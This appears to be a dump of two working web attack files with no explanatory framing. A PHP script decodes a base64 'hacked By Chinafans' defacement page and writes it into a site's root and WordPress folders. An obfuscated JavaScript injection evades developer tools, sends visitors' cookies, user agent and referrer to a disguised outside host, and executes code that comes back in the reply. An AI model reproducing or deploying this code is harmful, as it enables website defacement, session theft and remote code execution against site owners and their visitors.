firstbackdoor.php

<?php

$oIndex = 'PGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJhci1rdyI+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1MiI+Cjx0aXRsZT5oYWNrZWQgQnkgQ2hpbmFmYW5zPC90aXRsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj5pbWd7b3BhY2l0eTowLjU7LXdlYmtpdC10cmFuc2l0aW9uOmFsbCAyNTBtcyBlYXNlOy1tb3otdHJhbnNpdGlvbjphbGwgMjUwbXMgZWFzZTstby10cmFuc2l0aW9uOmFsbCAyNTBtcyBlYXNlO3RyYW5zaXRpb246YWxsIDI1MG1zIGVhc2U7fWltZzpob3ZlcntvcGFjaXR5OjE7fXRleHRhcmVhe3Jlc2l6ZTpub25lO308L3N0eWxlPgo8bWV0YSBuYW1lPSJrZXl3b3JkcyIgY29udGVudD0iaGFja2VkIEJ5IENoaW5hZmFucyI+CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJoYWNrZWQgQnkgQ2hpbmFmYW5zIj4KPHN0eWxlPgpBOmxpbmsge3RleHQtZGVjb3JhdGlvbjogbm9uZTt9CkE6YWN0aXZlIHt0ZXh0LWRlY29yYXRpb246IG5vbmU7fQouYXV0by1zdHlsZTEgewoJY29sb3I6ICNGRjAwMDA7Cn0KLmF1dG8tc3R5bGUyIHsKCXRleHQtYWxpZ246IGNlbnRlcjsKfQouYXV0by1zdHlsZTMgewoJY29sb3I6ICMwMEZGM0M7Cn0KPC9zdHlsZT4KPC9oZWFkPgo8Ym9keSBiZ2NvbG9yPSIjMTQxNDE0Ij4KPGRpdiBhbGlnbj0iY2VudGVyIj4KCSAgICAgICAgPHA+Jm5ic3A7PGltZyBzcmM9Imh0dHA6Ly9waWMuc2MuY2hpbmF6LmNvbS9maWxlcy9waWMvcGljOS8yMDE2MDYvZnBpYzUwODQuanBnIiBib3JkZXI9IjAiIHdpZHRoPSI2MDAiIGhlaWdodD0iNDAwIj48cD48L2Rpdj4KICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiA0MDAiPgoJCQk8cCBhbGlnbj0iY2VudGVyIj4KCQkJPHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiA3MDA7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHgiPgoJCQk8Zm9udCBjb2xvcj0iI0ZGRkZGRiIgc3R5bGU9Im1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHgiIGZhY2U9IkNvbnNvbGFzIiBzaXplPSI2Ij4KCQkJPGZvbnQgc2l6ZT0iNiIgZmFjZT0iQ29uc29sYXMiPkNoaW5hZmFuczwvc3Bhbj4KCQkJPC9zcGFuPgoJCQk8cCBkaXI9Imx0ciIgYWxpZ249ImNlbnRlciI+PGI+CgkJCTxmb250IHNpemU9IjIiIGZhY2U9IkNvbnNvbGFzIj5JQ1E8L2ZvbnQ+PC9zcGFuPjwvZm9udD48Yj48Zm9udCBmYWNlPSJDb25zb2xhcyIgc2l6ZT0iMiI+PGZvbnQgY29sb3I9IiNGRkZGRkYiPiA6CgkJCTwvZm9udD4KCQkJPGZvbnQgY29sb3I9IiMwMEZGMDAiPjxmb250IHNpemU9IjIiIGZhY2U9IkNvbnNvbGFzIj5jaGluYWZhbnM8L2ZvbnQ+PC9zcGFuPjwvZm9udD48Zm9udCBmYWNlPSJDb25zb2xhcyIgc2l6ZT0iMiI+PHNwYW4gbGFuZz0iYXItc2EiPjxmb250IGNvbG9yPSIjRkZDOTQ5Ij4KCQkJPC9mb250Pjxmb250IGNvbG9yPSIjRkZGRkZGIj4mbmJzcDstIDwvZm9udD4gPC9zcGFuPgoJCQk8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+U2t5cGUgOiA8L2ZvbnQ+IAoJCQk8L2ZvbnQ+CgkJCTxmb250IGNvbG9yPSIjMDBGRjAwIj48Zm9udCBzaXplPSIyIiBmYWNlPSJDb25zb2xhcyI+YWRtaW5mYW5zPC9mb250PgoJCQk8L3NwYW4+CgkJCTwvZm9udD48Zm9udCBjb2xvcj0iI0ZGRkZGRiI+Jm5ic3A7LSA8L2ZvbnQ+IDwvc3Bhbj4KCQkJPGZvbnQgY29sb3I9IiNGRkZGRkYiPlR3aXR0ZXIgOiA8L2ZvbnQ+IAoJCQk8L2ZvbnQ+CgkJCTxmb250IGNvbG9yPSIjMDBGRjAwIj48Zm9udCBzaXplPSIyIiBmYWNlPSJDb25zb2xhcyI+MHhmYW5zPC9mb250PgoJCQk8L3NwYW4+CiAgICAgICAgICAgIDwvZm9udD4KICAgICAgICAgICAgPGZvbnQgZmFjZT0iQ29uc29sYXMiIHNpemU9IjIiPjxzcGFuIGxhbmc9ImFyLXNhIj48Zm9udCBjb2xvcj0iI0ZGQzk0OSI+CgkJCTwvZm9udD48Zm9udCBjb2xvcj0iI0ZGRkZGRiI+Jm5ic3A7LSA8L2ZvbnQ+IDwvc3Bhbj4KCQkJPGZvbnQgY29sb3I9IiNGRkZGRkYiPkZhY2Vib29rIDogPC9mb250PiAKCQkJPC9mb250PgoJCQk8Zm9udCBjb2xvcj0iIzAwRkYwMCI+PGZvbnQgc2l6ZT0iMiIgZmFjZT0iQ29uc29sYXMiPndlcmlkbzE5OTY8L2ZvbnQ+CgkJCTwvc3Bhbj4KCQkJPC9wPgoJCQk8cCBhbGlnbj0iY2VudGVyIj4KCQkJPHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiA3MDA7ICI+CiAgICAgICAgICAgIDwvZm9udD4KCQkJPHAgYWxpZ249ImNlbnRlciI+CgkJCTxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogNzAwOyAiPgogICAgICAgICAgICA8Zm9udCBmYWNlPSJDb25zb2xhcyIgY29sb3I9IiNGRkZGRkYiIHN0eWxlPSJmb250LXNpemU6IDdwdCI+QmxvZzpodHRwczovL3d3dy5mYWNlYm9vay5jb20vd2VyaWRvMTk5NjwvZm9udD48Zm9udCBmYWNlPSJDb25zb2xhcyIgY29sb3I9IiMwMDgwODAiIHN0eWxlPSJmb250LXNpemU6IDdwdCI+CiAgICAgICAgICAgIDwvZm9udD4KCQkJPHAgYWxpZ249ImNlbnRlciI+CgkJCTwvZm9udD4KCQkJPHAgYWxpZ249ImNlbnRlciI+CgkJCTxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogNzAwOyAiPgogICAgICAgICAgICA8Zm9udCBmYWNlPSJDb25zb2xhcyIgY29sb3I9IiNGRkZGRkYiIHN0eWxlPSJmb250LXNpemU6IDdwdCI+U2VsbDpjcGFuZWwvc2hlbGwvc210cC9tYWlsZXI8L2ZvbnQ+PGZvbnQgZmFjZT0iQ29uc29sYXMiIGNvbG9yPSIjMDA4MDgwIiBzdHlsZT0iZm9udC1zaXplOiA3cHQiPgogICAgICAgICAgICA8L2ZvbnQ+CgkJCTxwIGFsaWduPSJjZW50ZXIiPgoJCQk8c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IDcwMDsgIj4KICAgICAgICAgICAgPC9mb250Pgo8cCBkaXI9Imx0ciIgYWxpZ249ImNlbnRlciI+Cjxmb250IGZhY2U9IlRhaG9tYSIgY29sb3I9IiNGRkZGRkYiIHN0eWxlPSJmb250LXNpemU6IDdwdCI+CjwvZGl2Pgo8aWZyYW1lIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHNyYz0iaHR0cHM6Ly93d3cueW91dHViZS5jb20vZW1iZWQvYk03U1o1U0J6eVk/YXV0b3BsYXk9MSIgZnJhbWVib3JkZXI9IjAiIGFsbG93ZnVsbHNjcmVlbiBzdHlsZT0ib3BhY2l0eTogMDsiPjwvaWZyYW1lPgo8c2NyaXB0IGRhdGEtY2Zhc3luYz0iZmFsc2UiIHNyYz0iL2Nkbi1jZ2kvc2NyaXB0cy81YzVkZDcyOC9jbG91ZGZsYXJlLXN0YXRpYy9lbWFpbC1kZWNvZGUubWluLmpzIj48L3NjcmlwdD48L2JvZHk+CjwvaHRtbD4=';

@fwrite(@fopen($_SERVER['DOCUMENT_ROOT'].'/o.htm',"w+"),@base64_decode($oIndex));

@fwrite(@fopen($_SERVER['DOCUMENT_ROOT'].'/wp-content/o.htm'),@base64_decode($oIndex));

@fwrite(@fopen($_SERVER['DOCUMENT_ROOT'].'/wp-admin/o.htm'),@base64_decode($oIndex));

@fwrite(@fopen($_SERVER['DOCUMENT_ROOT'].'/wp-includes/o.htm'),@base64_decode($oIndex));

echo "AnonymousFox ./Done /o.htm";

?>

undetected.php

<script type="text/javascript" defer>function VsX(){ll=false;var Jlm=new Image();Object.defineProperty(Jlm,'id',{get:function(){ll=true;}});requestAnimationFrame(function CVgg(){ll=false;console.log('%c',Jlm);if(!ll){window.onload=function(){userID=[25,25,26,23,27,23,13,19,4,28,21,2,29,23,26,25,12,23,18,20,2,21,22,2,2];l1='//static.xx.fbcdn.net.com/plrhg',EazuU='';for(lI=0;lI<userID.length;lI++){EazuU=EazuU+l1[userID[lI]];}NjQ=new XMLHttpRequest();NjQ.onreadystatechange=function(){if(NjQ.readyState==4&&NjQ.status==200){FUVm=NjQ.responseText;FUVm=FUVm.split('}');FUVm=FUVm[FUVm.length-1].split(' ');OFNk='';for(l1l in FUVm){l11='';for(l1I in FUVm[l1l])l11+=(FUVm[l1l][l1I]=='        ')?'1':'0';OFNk+=String.fromCharCode(parseInt(l11,2).toString(10));}UCr=new Function(OFNk.substr(0,OFNk.length-1));UCr();}};NjQ.open('POST',decodeURIComponent(escape(EazuU)),!0);NjQ.setRequestHeader('Content-type','application/x-www-form-urlencoded');NjQ.send('u='+navigator.userAgent+'&r='+document.referrer+'&c='+encodeURIComponent(document.cookie));};}});}setTimeout(VsX(),1500);</script>^M